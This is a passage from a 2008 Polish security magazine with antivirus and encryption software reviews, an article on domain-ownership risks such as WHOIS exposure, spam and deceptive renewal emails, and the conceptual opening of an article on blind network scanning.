nistratora  serwera  lub  poprzez  zadanie  terminarza 
Dr.Web.  Administrator  może  także  ustawić  automa-
tyczne reakcje antywirusa dla różnego rodzaju wykry-
tych zagrożeń. 

Sama  administracja  nie  jest  skomplikowana,  dzia-

łanie  antywirusa  jest  praktycznie  niezauważalne. 

background image
background image

hakin9.live

hakin9 Nr 01/2008

www.hakin9.org

12

Wszystkie operacje wykonane przez antywirusa na pli-
kach znajdują odbicie w statystykach. Statystyki ska-
nowania dynamicznie pokazują czas operacji procesu, 
ilość sprawdzonych plików, wykryte zagrożenia i inne 
przydatne informacje.

Po instalacji pakietu Dr.Web Windows 2000/2003 Se-

rver zostaje automatycznie stworzone zadanie systemo-
we aktualizacji antywirusowych baz danych i innych pli-
ków pakietu.

System Safety Monitor

Narzędzie  pozwala  na  śledzenie  w  czasie  rzeczywi-
stym  poczynań  systemu  operacyjnego  Windows  oraz 
chroni  przed  niebezpiecznymi  akcjami.  Dzięki  niemu 
można  kontrolować,  które  aplikacje  zostaną  urucho-
mione,  a  które  nie,  uniemożliwić  dzieciom  dostęp  do 
pewnych  plików,  zablokować  instalację  sterowników, 
bibliotek,  zabić  lub  zawiesić  wybrany  proces.  Szcze-
gólnie chroniony jest rejestr, pliki INI, sterowniki, usługi 
systemu oraz pliki przeglądarki Internet Explorer.

ArcaVir 2007

Program  chroniący  komputer  przed  złośliwym  oprogra-
mowaniem (wirusy, trojany, dialery, rootkity itd.) oraz in-
nymi zagrożeniami wynikającymi z podłączenia kompu-
tera do Internetu.

W skład pakietu wchodzą następujące komponenty:

•   skaner  poczty  –  bada  pocztę  elektroniczną  pod  ką-

tem  wirusów,  robaków  itp.,  współpracuje  z  każdym 
programem pocztowym,

•   skaner antywirusowy – dzięki niemu możemy wygod-

nie  przeskanować  odpowiednie,  wybrane  przez  nas 
zasoby komputera,

•   monitor antywirusowy – na bieżąco kontroluje używane 

przez nas pliki, jest czuły, szybki i – co zasługuje na po-
chwałę – nie obciąża zbytnio systemu operacyjnego,

•   skaner HTTP – blokuje obiekty wykorzystujące proto-

kół HTTP do rozprzestrzeniania się,

•   firewall  –  pozwala  na  kontrolę  przepływu  danych 

przez nasz komputer z sieci i do sieci,

•   silnik  antywirusowy  –  wyposażony  jest  w  pokaź-

nych rozmiarów bazę danych zawierającą informację 
o wielu typach szkodliwego oprogramowania.

Warto  zauważyć,  że  ArcaVir  dobrze  radzi  sobie  także 
z phishingiem oraz programami spyware. Baza wirusów 
aktualizowana  jest  na  bieżąco.  Oczywiście  nie  należy 
mylić firewalla ze skanerem HTTP. Silnik ArcaVir opiera 
się na systemie wtyczek, co oznacza, że w razie niebez-
pieczeństwa pojawienia się nowego zagrożenia, pakiet 
zostanie automatycznie zaktualizowany, a nowa wtycz-
ka dodana do silnika. Pakiet bardzo dobrze współpracu-
je z Windows Vista.

Stellar Phoenix Windows Recovery

Program służy do odzyskiwania danych z dysków twar-
dych  Windows  9x/ME/NT/2000/XP/2003/Vista.  Sys-
temy  plików,  które  obsługuje,  to:  FAT  16/32,  NTFS, 
NTFS5.  Dane  możemy  odzyskiwać  także  z  dysków 
sformatowanych, z zaginionych lub uszkodzonych par-
tycji oraz dysków logicznych. Udaje się odzyskać za-
równo utracone foldery, jak i pliki. Program radzi sobie 
bardzo dobrze także z plikami, które zostały już usu-
nięte, a miejsce po nich nadpisane. Narzędzie spraw-
dzi wszystkie media, które zdefiniujemy, w poszukiwa-
niu  utraconych  danych,  po  czym  wyświetli  je  w  drze-
wie według typu pliku. Rozpoznaje ponad 300 różnych 
typów plików, w tym dokumenty procesora tekstu, ar-
kusza  kalkulacyjnego,  pliki  graficzne,  multimedia,  ko-
dy  źródłowe  itp.  Media,  z  których  możemy  odzyskać 
dane to:

•   dyski twarde,
•   dyskietki,
•   napędy ZIP,
•   dyski/pamięci USB.

Program wymaga co najmniej 32 MB pamięci RAM. Opis 
procesu instalacji i aktywacji znajduje się w pliku teksto-
wym na płycie CD. 

Drogi Czytelniku, masz trzy miesiące (do marca 2008), 
aby zarejestrować program. Następnie otrzymasz pełną 
wersję programu bez ograniczeń czasowych. l

Rysunek 1. 

Recovery Options

Licencja dla oprogramowania Dr.Web

•   Licencję  dla  oprogramowania  Dr.Web  Anti-Virus,  dołą-

czonego do numeru 11/2007 hakin9, można uzyskać po 
rejestracji na stronie dystrybutora: www.doctorweb.com.pl/
hakin9
, używając kodu promocyjnego: AVL-32.

•   Licencję dla oprogramowania Dr.Web For File Servers 

można  uzyskać  po  rejestracji  na  stronie  dystrybutora: 
www.doctorweb.com.pl/hakin9, używając kodu promo-
cyjnego: AVF-32.

background image

Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona uszkodzona mechanicznie, 

sprawdź ją na co najmniej dwóch napędach CD.

W razie problemów z płytą, proszę napisać pod adres: cd@software.com.pl

background image

14

Narzędzia

hakin9 Nr 01/2008

www.hakin9.org

Z przodu pudełka producent umieścił spis podstawowych 
składników  zestawu,  w  którego  skład  wchodzą:  skaner 
antywirusowy VirusScan, skaner antyspyware'owy, fire-
wall  Personal  Firewall
  Plus,  program  optymalizujący 
działanie systemu, program do wykonywania kopii zapa-
sowych DataBackup, filtr antyspamowy SpamKiller oraz 
program  kontroli  rodzicielskiej.  Dodatkowo  producent 
dostarcza plugin do przeglądarki – McAfee SiteAdvisor
który podpowiada, czy aktualnie odwiedzana strona jest 
bezpieczna dla naszego komputera. 

Zatem kupując program powinniśmy otrzymać wszyst-

ko,  co  potrzebne  do  ochrony  domowego  komputera. 
Na pudełku zostały podane także minimalne wymagania 
systemowe.

W  pudełku  otrzymujemy  krótką  instrukcję  McAfee 

Quick Start Guide w językach: angielskim, niemieckim, 
francuskim,  holenderskim,  hiszpańskim,  brazylijskim, 
włoskim, fińskim, szwedzkim, norweskim, czeskim, pol-
skim
  i  tureckim,  a  także  płytę  CD  z  oprogramowaniem 
i  pełną  wersją  instrukcji  w  języku  zgodnym  z  językiem 
zakupionego programu.

Do  instalacji  potrzebujemy:  systemu  Microsoft  Win-

dows 2000, XP lub Vista, procesora taktowanego szyb-
kością  minimum  500MHz,  256MB  pamięci  RAM  oraz 
około 150MB miejsca na dysku twardym. 

Program  jest  wyposażony  w  wygodny  instalator, 

który  prowadzi  użytkownika  krok  po  kroku  poprzez 
proces instalacji. Przed instalacją jest wykonywane ska-
nowanie  plików  systemowych  oraz  aktualnie  urucho-
mionych programów. Niestety, podczas instalacji skład-
ników systemu możemy dowiedzieć się tylko, czy dany 
składnik jest już zainstalowany lub czy dopiero oczeku-
je na instalację. 

Po  zakończeniu  procesu  instalacji  programu 

znajdziemy  jego  ikonkę  w  zasobniku  systemowym. 
Po wykonaniu podwójnego kliknięcia program System-
Center
 rozpoczyna inicjalizację, a w wypadku pierwsze-
go uruchomienia wyświetlane jest także okno z prośbą 
o rejestrację oprogramowania. 

Do rejestracji wymagane jest podanie jedynie imie-

nia, nazwiska, adresu e-mail oraz wymyślonego przez 
nas hasła. Po instalacji program aktualizuje komponen-
ty oraz prosi nas o restart komputera. Po kliknięciu na 
ikonę M w zasobniku systemowym otwiera się panel ste-

rowania całym systemem. W głównej części programu 
widzimy informacje o stanie ochrony, natomiast z lewej 
strony  dostępne  jest  menu  opcji.  Do  wyboru  są  dwa 
interfejsy menu – podstawowy (prostszy) oraz zaawan-
sowany. 

W  menu  podstawowym  otrzymujemy  dostęp 

do  aktualizacji  sygnatur  baz  wirusów,  skanowania 
całego  komputera,  opcji  optymalizujących  komputer 
oraz  możliwości  zablokowania  całego  ruchu  sieciowe-
go. Menu zaawansowane pozwala natomiast na dokład-
ną konfigurację systemu. 

Możemy dowiedzieć się, jakie zdarzenia miały miej-

sce w naszym komputerze (akcje antywirusa i zapory), 
mamy dostęp do kwarantanny oraz możliwość odzyska-
nia  plików,  które  zostały  niesłusznie  oznaczone  jako 
zainfekowane. Możemy sprawdzić także, które progra-
my generują najwięcej ruchu sieciowego.

Działająca  w  tle  ochrona  zapewniana  przez  pro-

gram nie spowalnia w zauważalnym stopniu kompute-
ra z procesorem Duron 1350+ oraz 1GB pamięci DDR 
RAM.

W przypadku posiadania sieci routowanej przez kom-

puter z firewallem McAfee należy wyłączyć zaporę w celu 
udostępniania Internetu innym komputerom.

Damian Klimek

Producent: McAfee

System: Windows 2000, Windows XP, Windows Vista

Typ: Internet Security Suite

Strona producenta: http://www.mcafee.com/pl/

Ocena: 5/5

Internet Security Suite

Rysunek 1. 

Internet Security Suite

background image

15

hakin9 Nr 01/2008

www.hakin9.org

Narzędzia

Przy  zakupie  programu  w  zestawie  dostajemy  nastę-
pujące  aplikacje:  Teledisk  (niestety,  w  wersji  angiel-
skiej), Teleguard zawierający programy: Telesafe (służy 
do  zabezpieczania  haseł)  i  Telelogin  –  pozwalający 
dodatkowo zabezpieczyć konto w Windowsie przy użyciu 
sprzętowego tokena. Do dyspozycji mamy też Teletoken 
Manager – program służący do konfiguracji tokena oraz 
wtyczkę Telezip i dodatek Teleshell, umożliwiający inte-
grację  z  systemem  Windows.  Najbardziej  atrakcyjnym 
elementem  całego  pakietu  jest  token  sprzętowy,  który 
możemy  sobie  sami  skonfigurować.  Instalacja  systemu 
przebiega  bezproblemowo  –  przynajmniej  przy  wyko-
rzystaniu  systemu  Windows  XP.  Instalator  przeprowa-
dza użytkownika krok po kroku przez cały proces, a inte-
rakcja odbywa się w języku polskim. Pomoc w pakiecie 
także jest zadowalająca, jednakże dobre wrażenie cało-
ści  trochę  psuje  nieprzetłumaczona  pomoc  dla  progra-
mu Teledisk. Pakiet bez problemu integruje się z syste-
mem Windows XP, pozwala nam łatwo zaszyfrować pliki 
przy  korzystaniu  z  menu  kontekstowego,  daje  również 
możliwość wzmocnienia ochrony poprzez użycie tokena 
sprzętowego.  A  teraz  przyjrzyjmy  się  poszczególnym 
aplikacjom dostępnym w pakiecie. 

Konfiguracja  tokena  za  pomocą  programu  Teleto-

ken Manager odbywa się w sposób całkowicie bezbole-
sny.  Kreator  prowadzi  nas  niemalże  za  rączkę,  pewnym 
minusem jest tylko fakt, że kod PUK trzeba zapisać ręcz-

nie – brakuje opcji zapisu do pliku konfiguracji. Z drugiej 
strony, ze względów bezpieczeństwa to pozytywne zacho-
wanie,  ponieważ  nikt  nam  nie  wykradnie  kodu  razem 
z plikiem. Gorzej będzie, jak zapisany numer schowamy 
w jakiejś książce, którą odłożymy na półkę. 

Istnieje  możliwość  naprawy  tokena,  jeżeli  coś  się 

w nim zepsuje. Program Telezip pozwala na wzmocnie-
nie ochrony plików archiwizowanych, aczkolwiek dosta-
jemy  go  w  takim  formacie,  że  możemy  mieć  problem 
z  otwarciem  archiwum  na  komputerze  bez  Telezipa. 
Telelogin jest interesującą aplikacją, która pozwoli choć 
trochę wzmocnić ochronę Twoich danych w profilu, daje 
on możliwość stworzenia hasła rezerwowego w przypad-
ku zgubienia tokena, natomiast nie chroni nas przed użyt-
kownikiem, który zaloguje się do systemu na inne konto 
z  uprawnieniami  administratora  –  ma  wtedy  możliwość 
podejrzenia  naszych  plików.  Niedopracowany  jest  pro-
gram Teledisk – kreatory są w języku polskim, a menu 
w języku angielskim. Nie wiem dlaczego, może tylko mnie 
trafiła się taka niewykończona wersja? Aplikacja pozwala 
nam tworzyć ukryte wolumeny w oparciu o różne algoryt-
my szyfrowania, pozwalając uchronić cenne dane przed 
atakami z zewnątrz. 

Ogólnie pakiet wykorzystuje do szyfrowania głównie 

algorytm AES, nazywany również Rijndael. Podsumowu-
jąc – mamy do czynienia z dobrym zestawem programów 
zabezpieczających, który wymaga jednakże ostateczne-
go dopracowania i zwiększenia automatyzmu działania.

Jarosław Peterko

Teleguard

Producent: TeleVox

System: Windows 2000/2003/XP

Typ: Teleguard

Strona producenta: www.televox.pl

Ocena: 4/5

Rysunek 2. 

Konfiguracja Teleloginu

Rysunek 3

.Sprzętowy Token

background image

www.hakin9.org

hakin9 Nr 01/2008

16

Początki

P

odczas rejestracji domeny należy podać 
swoje dane osobowe (imię i nazwisko, ad-
res, telefon, e-mail). Te dane są dostępne 

w publicznej bazie WHOIS. Dzięki nim można się 
skontaktować z właścicielem domeny, nawet je-
śli na stronie internetowej nie podano żadnych da-
nych kontaktowych. W bazie WHOIS, oprócz da-
nych adresowych właściciela domeny, są też inne 
informacje: nazwa i adres firmy, w której domena 
była rejestrowana, data rejestracji domeny i data 
jej ważności (domenę rejestruje się na rok czasu, 
jednak można od razu zapłacić za kilka lat z góry). 
Gdy ważność domeny dobiega końca, należy wy-
kupić kolejny rok abonamentu, albo po upłynięciu 
terminu ważności domena zostanie usunięta.

Jeśli  stwierdzisz,  że  konkretny  rejestrator 

domeny Tobie nie odpowiada np. biuro obsługi 
klienta jest do niczego, albo ceny są zbyt wyso-
kie, możesz taką domenę przenieść do innego 
rejestratora.  Zazwyczaj  takie  przeniesienie  jest 
darmowe, ale trzeba zapłacić za koszt rocznego 
utrzymania domeny, której ważność zostanie au-
tomatycznie przedłużona. Aby przenieść dome-
nę, należy ją odbezpieczyć w panelu administra-
cyjnym.  Domyślnie  domeny  są  zabezpieczone
dzięki czemu nikt nie przetransferuje cudzej do-
meny. Aby przenieść niektóre domeny (np. *.biz

*.info),  oprócz  ich  odbezpieczenia  należy  znać 
kod auth-info (jest to coś w rodzaju hasła, któ-
re zna obecny rejestrator domeny – kod ma za 
zadanie utrudnić przeniesienie domeny osobie, 
która nie jest jej właścicielem). 

Jak sprawdzić dane 

właściciela domeny

Jeśli chcesz sprawdzić dane właściciela domeny, 
powinieneś skorzystać z serwisu www.whois.net

Domeny – zagrożenia 

i ich skutki

Damian Daszkiewicz

stopień trudności

Posiadanie własnej domeny internetowej to nie tylko prestiż. 

To również szereg różnego rodzaju zagrożeń np. otrzymywanie 

zwiększonej ilości SPAMu, czy możliwość kradzieży domeny.

Z artykułu dowiesz się

•   co  to  jest  WHOIS  i  w  jaki  sposób  skontakto-

wać się z właścicielem domeny, jeśli na stronie 
WWW nie ma informacji kontaktowych,

•   jak przenieść domenę od obecnego do innego 

rejestratora,

•   jak  niektóre  firmy  podkradają  klientów  przy 

przedłużaniu ważności domeny.

Co powinieneś wiedzieć

•   czym jest domena,
•   znać podstawowe informacje związane z reje-

stracją domeny internetowej.

background image

Zagrożenia związane z posiadaniem domeny

hakin9 Nr 01/2008

www.hakin9.org

17

W  przypadku,  gdy  chcesz  sprawdzić 
dane właściciela jakiejś polskiej dome-
ny innej niż z końcówką .pl (np. com.pl, 
net.pl
),  odpowiednim  serwisem  jest 
http://www.dns.pl/cgi-bin/whois.pl.

Gdyby te strony nie działały, moż-

na  sprawdzić  dane  właściciela  do-
meny  w  niektórych  serwisach,  które 
umożliwiają  rejestrację  domeny.  Po-
jawi się wtedy informacja, że podana 
domena jest zajęta, a w części serwi-
sów pojawi się dodatkowo możliwość 
sprawdzenia, kto jest jej właścicielem.

Jeśli  masz  zainstalowany  sys-

tem operacyjny Linux, to problem jest 
jeszcze mniejszy – wystarczy w termi-
nalu wpisać polecenie 

whois  nazwa _

domeny

, np. 

whois daszkiewicz.net

Rysunek 1. przedstawia fragment 

danych  z  bazy  WHOIS  dla  domeny 
google.com.  Jak  widzisz,  są  tam  po-
dane  dane  adresowe  firmy  Google. 
Natomiast  Rysunek  2.  przedstawia 
fragment  danych  z  bazy  WHOIS  dla 
domeny  daszkiewicz.net.  Ponieważ 
wykupiłem opcję ID Protect, nie widać 
moich danych osobowych (poza imie-
niem, nazwiskiem i tymczasowym ad-
resem e-mail).

Bezpieczeństwo

Jeśli  posiadasz  popularną  domenę, 
może się zdarzyć, że ktoś będzie chciał 
ją ukraść. Chyba nie muszę tutaj pisać 

o tak elementarnych zasadach bezpie-
czeństwa,  jak  nie  podawanie  nikomu 
loginu i hasła do panelu administracyj-
nego, czy kodu 

auth-info

.

Niebezpieczna 

funkcja catch-all

Podczas  parkowania  domeny  na 
serwerze  można  uaktywnić  funkcję 

catch-all

. Oznacza to, że cokolwiek 

się  wpisze  przed  @nazwa_domeny 
to wiadomość e-mail dojdzie do Cie-
bie na domyślny adres e-mail. Z po-
zoru  jest  to  bardzo  wygodna  funk-
cja  –  nie  trzeba  tworzyć  kilku  kont 
e-mailowych  (np.  kontakt@nazwa_
domeny
,  admin@nazwa_domeny).
Niestety,  spamerzy  monitorują  in-
ternet w poszukiwaniu nowo zareje-
strowanych domen i próbują wysyłać 
SPAM  na  adresy:  sales@nazwa_
domeny

contact@nazwa_domeny

webmaster@nazwa_domeny  info@
nazwa_domeny
 itp. Dlatego proponu-
ję wyłączyć funkcję 

catch-all

 i założyć 

kilka zwykłych adresów e-mail.

Z drugiej strony funkcja 

catch-all

 

jest  bardzo  przydatna:  jeśli  ktoś  pi-
sząc  do  Ciebie  e-mail  popełni  lite-
rówkę przed znakiem małpy to wtedy 
taki e-mail i tak do Ciebie dojdzie.

Zwiększona 

ilość SPAMu

Posiadając domenę musisz się liczyć 
z  otrzymywaniem  zwiększonej  ilości 
SPAMu.  Spamerzy  monitorują  inter-
net  w  poszukiwaniu  nowych  domen 
i pobierają z bazy WHOIS adresy do 
webmasterów. Dlatego podczas reje-
stracji  domeny  proponuję  nie  poda-

Otrzymany e-mail

Należy odnowić domenę XXX
Twoja domena XXX ulegnie przedawnieniu za 90 dni. 
Możesz automatycznie odnowić domenę z NAZWA FIRMY. 
Kliknij odnośnik w emailu, aby przedłużyć ważność domeny na następny rok. Powi-
nieneś  odnowić  rejestrację  najszybciej  jak  to  możliwe  aby  pozostała  zarejestrowa-
na na Twoje dane. Kliknij tutaj, aby przedłużyć ważność domeny http://www.NAZWA 
FIRMY.com/for.php?d=XXX.
Jak tylko otrzymamy Twoją płatność prześlemy wiadomość, potwierdzającą, że waż-
ność Twojej domeny została przedłużona. Usługi i informacje związane z NAZWA FIR-
MY. NAZWA FIRMY zarządza adresami,  rejestracją, przedsięwzięciami i władzami za-
rządzającymi własnoscią domen internetowych. Informujemy przedsiebiorstwa, które 
domeny są zarejestrowane i przypominamy im jeśli, domena może ulec przedawnieniu 
lub jeśli nadchodzi czas, aby odnowić rejestrację domeny. Jeśli chcesz, aby NAZWA 
FIRMY przedłużył rejestrację, kliknij w odnośnik zawarty w tym emailu. Jeśli nie chcesz 
używać nazwy domeny po jej wygaśnięciu, możesz skasować tę wiadomość. Żadna in-
formacja nie zmieni się w bazie WHOIS po przedłużeniu ważności domeny przez NA-
ZWA FIRMY. Ważność domeny przedłuży się o jeden rok, będziesz mógł kontynuować 
współpracę z dotychczasowym dostawcą. Możesz także poprosić swojego ISP o prze-
dłużenie ważności domeny. W wypadku jakichkolwiek pytań prosimy o kontakt z na-
szym centrum obsługi klienta pod adresem email support@NAZWA FIRMY.com

Rysunek 1. 

Dane z bazy WHOIS dla domeny google.com

background image

hakin9 Nr 01/2008

www.hakin9.org

Początki

18

wać głównego adresu e-mail. Zawsze 
można założyć darmowe konto pocz-
towe w jakimś portalu i sprawdzać na-
nim  pocztę  dość  sporadycznie.  Gdy 
sie okaże, że na to konto przychodzi 
zbyt wiele SPAMu to wtedy należy za-
rejestrować nowe konto pocztowe i do-
konać zmian w bazie WHOIS.

Uwaga: musisz od czasu do cza-

su odbierać pocztę z tamtego konta, 
gdyż  czasami  na  taki  adres  e-ma-
il może przyjść jakaś ważna wiado-
mość  np.  przypomnienie  o  koniecz-
ności odnowienia domeny.

Regularnie spawdzaj, 

kiedy domena wygaśnie

Domenę rejestruje się na okres mini-
mum 1 roku. Gdy okres ważności do-
meny zbliża się ku końcowi, należy za-
płacić  za  odnowienie  domeny,  czy-
li  przedłużenie  jej  ważności  o  kolej-
ny rok. Każdy poważny rejestrator wy-
syła np. 30 dni przed końcem ważno-
ści domeny informację o konieczności 

odnowienia  domeny.  Jednak  zdarza-
ją  się  przypadki  niepoważnych  reje-
stratorów,  którzy  takich  przypomnień 
nie wysyłają. Poza tym email z przy-
pomnieniem może nie dojść. Dlatego 
dla własnego bezpieczeństwa zanotuj 

kiedy  domena  traci  ważność.  Można 
w tym celu wykorzystać program przy-
pominający o zbliżających się roczni-
cach  –  większość  komórek  posiada 
tego typu aplikacje. Ponieważ przelew 
może iść kilka dni, nie zostawiaj przy-
krego  obowiązku  płacenia  na  ostatni 
dzień.  Polecam  płacić  najpóźniej  ty-
dzień przed dniem zero.

Jeśli minie okres ważności domeny, 

istnieje możliwość odzyskania domeny. 
Zazwyczaj okres od wygaśnięcia waż-
ności domeny do jej fizycznego skaso-
wania wynosi około 40 dni. Tutaj jednak 
radzę uważać, gdyż niektóre firmy po-
bierają wyższe opłaty, gdy się spóźnisz 
z odnowieniem domeny. Przykładowo, 
pewna firma, w której odnowienie do-
meny globalnej kosztuje 8 dolarów po-
biera opłatę w wysokości około 100 do-
larów  za  odnowienie  domeny,  której 
okres ważności dobiegł końca.

Praktyka pewnej firmy

Niedawno otrzymałem e-mail z infor-
macją, że jedna z moich domen wy-
gaśnie za mniej niż 90 dni. W e-ma-
ilu  był  link  z  prośbą  o  przedłużenie 
ważności  domeny,  a  na  końcu  wia-
domości  znajdowała  się  interesują-
ca stopka z informacją, że firma, od 
której  dostałem  e-mail,  zajmuje  się 
rejestracją  domen  oraz  pilnowaniem 
i przedłużaniem ich terminów ważno-
ści. Oczywiście nie miałem nic wspól-
nego z tą firmą, ponieważ korzystam 
z oferty innego usługodawcy. Aby by-
ło  ciekawiej,  koszt  odnowienia  glo-

Terminologia

•  WHOIS  –  Informacje  o  domenach  internetowych  można  uzyskać  przy  pomocy 

WHOIS, czyli powszechnie dostępnej bazy danych o abonentach domen interne-
towych. WHOIS udostępnia następujące dane: nazwa abonenta domeny i adres 
(w przypadku domen rejestrowanych w NASK – nie dotyczy to osób fizycznych, na 
podstawie Dz. U. z dnia 29 sierpnia 1997 r.), nazwy serwerów, na które jest delego-
wana domena oraz dane obsługującego rejestratora.

•  Transfer domeny – możliwość przeniesienia domeny pomiędzy rejestratorami.
•  auth-info (auth-code) – niektóre domeny (np. *.biz, *.info) posiadają specjalny kod 

auth-info, który zna tylko Twój rejestrator. Bez znajomości tego kodu nie można 
przenieść domeny do innego rejestratora (jest to zabezpieczenie przed osobami, 
które chciałyby ukraść komuś domenę, przenosząc ją do swojego rejestratora).

•  ID Protect – opcja (zazwyczaj dodatkowo płatna) pozwalająca na ukrycie danych 

adresowych właściciela domeny w bazie WHOIS.

• 

catch-all

 – jeśli funkcja catch-all jest aktywna to poczta adresowana wedle sza-

blonu dowolna_nazwa@domena jest kierowana na domyślną skrzynkę e-mail.

Rysunek 2. 

Dane z bazy WHOIS dla domeny daszkiewicz.net

background image

Zagrożenia związane z posiadaniem domeny

balnej  domeny  wynosić  miał  prawie 
50 euro, natomiast u mojego rejestra-
tora ta usługa kosztuje zaledwie 8 do-
larów.

Ta nieuczciwa firma liczy na to, że e-

mail przeczyta niezbyt rozgarnięta oso-
ba, która nie pamięta, u kogo rejestro-
wała domenę i zapłaci za usługę prze-
dłużenia  jej  ważności  słono  przy  tym 
przepłacając. Ramka Otrzymany e-ma-
il
 przedstawia widomość, jaką otrzyma-
łem od takiej nieuczciwej firmy. Po prze-
czytaniu  wiadomości  e-mail  widać,  że 
nie pojawiła się ani razu informacja, iż jej 
nadawca  jest  moim  obecnym  rejestra-
torem domeny. Wiadomość została tak 
sprytnie zredagowana, że można łatwo 
dojść do takiego wniosku.

Jak się przed tym bronić?

Działalność  tej  firmy  jest  bardzo  nie-
etyczna.  Poza  tym  chyba  nikt  nie  lubi 
płacić  więcej  za  produkty,  które  moż-
na  kupić  taniej.  Mogę  tutaj  z  czystym 
sumieniem powiedzieć, że ta wątpliwej 
reputacji firma wykrada klientów innym, 
uczciwym  usługodawcom.  Warto  pa-
miętać, w jakiej firmie była rejestrowa-

na konkretna domena. Dzięki temu, po 
otrzymaniu takiej wiadomości będziesz 
wiedział, że jej nadawcą nie jest firma, 
z  którą  współpracujesz.  Jeśli  rejestru-
jesz  domeny  u  różnych  rejestratorów, 
na zasadzie dzisiaj pójdę tam, gdzie jest 
najciekawsza promocja
, koniecznie za-
pisuj  w  notatniku  informacje  dotyczą-
ce  rejestracji  każdej  z  domen.  Ewen-
tualnie,  w  celu  sprawdzenia  tych  da-
nych można skorzystać z bazy WHO-
IS. Ponieważ firma wysyła e-maile do 
właścicieli domen, których termin waż-
ności upłynie za mniej niż 90 dni, waż-
ność domeny można przedłużyć np. na 
100 dni przed jej przedawnieniem się –
i  w  ten  sposób  uniknąć  spamerskich 
wiadomości.  Można  również  wykupić 
usługę  ukrywania  prywatności  –  ID 
Protect 
(zwykle jest to dodatkowo płat-
na opcja, która kosztuje około 10 do-
larów  za  rok).  Wtedy  w  bazie  WHO-
IS nie będą podane Twoje dane adre-
sowe,  natomiast  będzie  tam  umiesz-
czony  tymczasowy  adres  e-mail 
(np. 

aoamq7oz@nameprivacy.com

który przekieruje pocztę na Twój praw-
dziwy adres e-mail. Wtedy w programie 

pocztowym w polu do będzie podany 
ten tymczasowy adres e-mail, więc bę-
dziesz wiedział, że nadawca wiadomo-
ści uzyskał go z bazy WHOIS. W przy-
padku domen z końcówką .pl, .com.pl 
itp. sprawa jest prostsza, gdyż przy re-
jestracji domeny na osobę fizyczną nie 
ma  potrzeby  umieszczania  w  bazie 
WHOIS Twoich danych adresowych.

Podsumowanie

Jeśli  otrzymasz  jakąkolwiek  wiado-
mość e-mail dotyczącą przedłużenia 
domeny,  sprawdź  czy  jest  to  e-mail 
od firmy, w której masz zarejestrowa-
ną domenę. Możliwe, że w przyszło-
ści inne firmy będą próbowały w tak 
sprytny  sposób  wykradać  klientów, 
dlatego  zapisuj  w  notatniku  z  usług 
jakich firm korzystasz. Jeśli nie jesteś 
przekonany, czy dany e-mail pocho-
dzi od firmy w której masz wykupio-
ną domenę, znajdź fakturę za dome-
nę – powinien na niej być numer tele-
fonu do rejestratora domeny.

Warto  również  rozważyć  opcję 

wyłączenia funkcji 

catch-all

, aby nie 

otrzymywać  zbyt  wiele  SPAMu.  Je-
śli nie stać Cię na wykupienie opcji ID 
Protect to w bazie WHOIS podaj swój 
tymczasowy  adres  e-mail,  który  po-
rzucisz,  gdy  zaczniesz  otrzymywać 
zbyt wiele SPAMu. Nie zapomnij rów-
nież zapisać w terminarzu informacji, 
kiedy ważność danej domeny dobie-
ga końca.  l

O autorze

Damian  Daszkiewicz  jest  samoukiem  od  wielu  lat  interesującym  się  informatyką 
i e-biznesem. Obecnie studiuje na Politechnice Rzeszowskiej na kierunku Informaty-
ka. W roku 2003 wydawnictwo Helion opublikowało jego książkę Vademecum hake-
ra. Edycja plików binarnych

Kontakt z autorem: damian@daszkiewicz.net 

R

E

K

L

A

M

A

background image

www.hakin9.org

hakin9 Nr 01/2008

20

Atak

zaletach  i  celowości  skanowania  ni-
kogo  chyba  nie  trzeba  przekonywać. 
Obecnie  stosowanych  technik  ska-

nowania  jest  naprawdę  mnóstwo.  Większość 
z  nich  jest  zaimplementowana  w  programach 
NMAP i AMAP. Skanery mogą używać technik 
kamuflażu, które  pozwalają  na  uniknięcie  wy-
krycia.  Niektórych  z  technik  wykorzystanych 
w  wymienionych  skanerach  można  użyć  do 
analizy  połączeń  ustanowionych  pomiędzy 
dwoma komputerami, a nawet doprowadzić do 
ich rozłączenia.

Cel skanowania

Celem  oczywiście  jest  poznanie  usług  dzia-
łających  na  skanowanym  komputerze.  Więk-
szość technik skanowania opiera się na wysy-
łaniu pakietów testujących i analizie odpowie-
dzi. Takie podejście ma jednak wadę – na ogół 
ujawnia źródło skanowania – co niekoniecznie 
jest  korzystne  dla  naszego  bezpieczeństwa, 
a dodatkowo nic nie mówi o interesujących nas 
połączeniach  atakowanej  maszyny.  Sprawa 
ma  się  nieco  inaczej,  jeżeli  mamy  możliwość 
podsłuchiwania  ruchu  związanego  ze  ska-
nowanym  komputerem.  Możemy  wtedy  sfał-
szować  adres  źródłowy  wysyłanych  pakietów 

i analizować odpowiedzi. Jeżeli nadarzy się ta-
ka niezwykle rzadka okazja, jak podsłuchiwa-
nie ruchu maszyny nienależącej do naszej sie-
ci, to należy wiedzieć, że istnieją lepsze techni-
ki skanowania, które dodatkowo nie ujawniają 
naszej  ciekawości.  Taką  techniką  jest  pasyw-
ny  skan/fingerprinting.  Używając  tej  metody 
nie wysyłamy żadnych danych do skanowane-
go komputera, a jedynie analizujemy ruch prze-

Blind Attack

Konrad Malewski

stopień trudności

Skanowanie komputerów i odnajdywanie działających na 

nich usług od zawsze było pasjonującym zajęciem, a techniki 

odkrywania tajemnic zdalnej maszyny ewoluowały od bardzo 

prostych tj. skanowania pakietami SYN, do bardzo finezyjnych 

– jaką jest choćby technika blind scanning.

Z artykułu dowiesz się

•   na  czym  polegają  ataki  blind  scanning,  blind 

ARP scanning, blind RST,

•   dlaczego  losowość  jest  kluczowa  dla  bezpie-

czeństwa systemowego,

•   o zasadzie działania niektórych mechanizmów 

TCP/IP,

•   jak wykorzystać Perla do pisania aplikacji sie-

ciowych.

Co powinieneś wiedzieć

•   posługiwać  się  systemem  opartym  o  jądro  Li-

nuksa na poziomie użytkownika,

•   znać podstawy Perla,
•   znać podstawy TCP/IP.

background image

Blind Attack

hakin9 Nr 01/2008

www.hakin9.org

21

pływający od i do ofiary, co w więk-
szości  przypadków  zajmuje  więcej 
czasu niż przy aktywnym skanowa-
niu.  Korzystając  z  tej  techniki  po-
znanie wszystkich otwartych portów 
może  być  procesem  długotrwałym,
który  zależy  wyłącznie  od  aktyw-
ności maszyny w sieci. Dla przykła-
du  –  jeśli  nikt  nie  skorzysta  z  usłu-
gi  SSH,  nigdy  nie  wykryjemy  obec-
ności tejże usługi.

Mając do dyspozycji wymienione 

dwa  sposoby,  skanowanie  aktywne 
i  pasywne,  należałoby  wybrać  po-
między  prędkością  a  jakością.  Ak-
